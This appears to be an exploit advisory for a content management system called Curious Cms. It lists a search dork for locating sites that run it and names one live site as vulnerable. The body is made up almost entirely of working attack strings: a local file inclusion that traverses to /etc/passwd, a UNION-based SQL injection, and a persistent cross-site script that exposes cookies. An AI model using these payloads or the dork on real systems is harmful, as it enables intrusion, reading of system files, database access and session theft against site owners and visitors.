#################################################################### .:. Author : Metropolis .:. Home : www.metropolis.fr.cr .:. Script : Curious Cms .:. Version : n/a .:. Vulnerable App : http://www.curious.be/?action=onderdeel&onderdeel=40&titel=Diensten .:. Bug Type : Multiple Vulnerabilities / LFI / SQL Injections / XSS .:. Dork : powered by Curious.be #################################################################### Local File Inclusion [ Vulnerable File 1] www.site.com/index.php?action=[LFI] [ Demo ] www.site.com/index.php?action=../../../../../../../../../../../../../../../../../../../../etc/passwd%00 SQL Injections [ Vulnerable File 2] www.site.com/?titel=Nederlands&setLanguage=[SQL] [ Demo ] www.site.com/?titel=Nederlands&setLanguage=1+and+1=0+union+select+1,2,3,4,5-- Persistent XSS [ Vulnerable File 3] www.site.com/?action=[XSS] [ Demo ] www.site.com/?action=<script>alert(document.cookie);</script> ####################################################################